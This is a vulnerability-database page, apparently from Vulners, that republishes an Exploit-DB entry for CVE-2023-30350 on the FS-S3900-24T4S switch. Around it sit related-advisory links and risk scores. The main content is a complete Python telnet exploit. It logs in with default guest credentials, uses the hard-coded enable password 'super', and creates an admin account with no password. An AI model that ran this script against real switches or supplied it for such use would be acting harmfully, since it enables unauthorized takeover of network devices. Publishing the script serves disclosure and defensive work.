Lucene search
K

FS-S3900-24T4S - Privilege Escalation

🗓️ 02 May 2023 00:00:00Reported by Daniele LinguaglossaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 325 Views

Privilege Escalation in FS-S3900-24T4S Switch

Related
Code
ReporterTitlePublishedViews
Family
0day.today
FS-S3900-24T4S - Privilege Escalation Exploit
2 May 202300:00
zdt
ATTACKERKB
CVE-2023-30350
29 May 202300:15
attackerkb
Circl
CVE-2023-30350
4 May 202313:29
circl
CNNVD
FS-S3900-24T4S 安全漏洞
2 May 202300:00
cnnvd
CVE
CVE-2023-30350
28 May 202300:00
cve
Cvelist
CVE-2023-30350
28 May 202300:00
cvelist
EUVD
EUVD-2023-34771
3 Oct 202520:07
euvd
NVD
CVE-2023-30350
29 May 202300:15
nvd
Packet Storm
FS-S3900-24T4S Privilege Escalation
3 May 202300:00
packetstorm
Prion
Default credentials
29 May 202300:15
prion
Rows per page
# Exploit Title: FS-S3900-24T4S Privilege Escalation
# Date: 29/04/2023
# Exploit Author: Daniele Linguaglossa & Alberto Bruscino
# Vendor Homepage: https://www.fs.com/
# Software Link: not available
# Version: latest
# Tested on: latest
# CVE : CVE-2023-30350

import sys
import telnetlib


def exploit(args):
    print(args)
    if len(args) != 1:
        print(f"Usage: {sys.argv[0]} <ip>")
        sys.exit(1)
    else:
        ip = args[0]
        try:
            with telnetlib.Telnet(ip, 23) as tn:
                try:
                    tn.read_until(b"Username: ")
                    tn.write(b"guest\r\n")
                    tn.read_until(b"Password: ")
                    tn.write(b"guest\r\n")
                    tn.read_until(b">")
                    tn.write(b"enable\r\n")
                    tn.read_until(b"Password: ")
                    tn.write(b"super\r\n")
                    tn.read_until(b"#")
                    tn.write(b"configure terminal\r\n")
                    tn.read_until(b"(config)#")
                    tn.write(b"username admin nopassword\r\n")
                    tn.read_until(b"(config)#")
                    print(
                        "Exploit success, you can now login with username: admin and password: <empty>")
                    tn.close()
                except KeyboardInterrupt:
                    print("Exploit failed")
                    tn.close()
        except ConnectionRefusedError:
            print("Connection refused")


if __name__ == "__main__":
    exploit(sys.argv[1:])

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 May 2023 00:00Current
9.1High risk
Vulners AI Score9.1
CVSS 3.18.8
EPSS0.03325
SSVC
325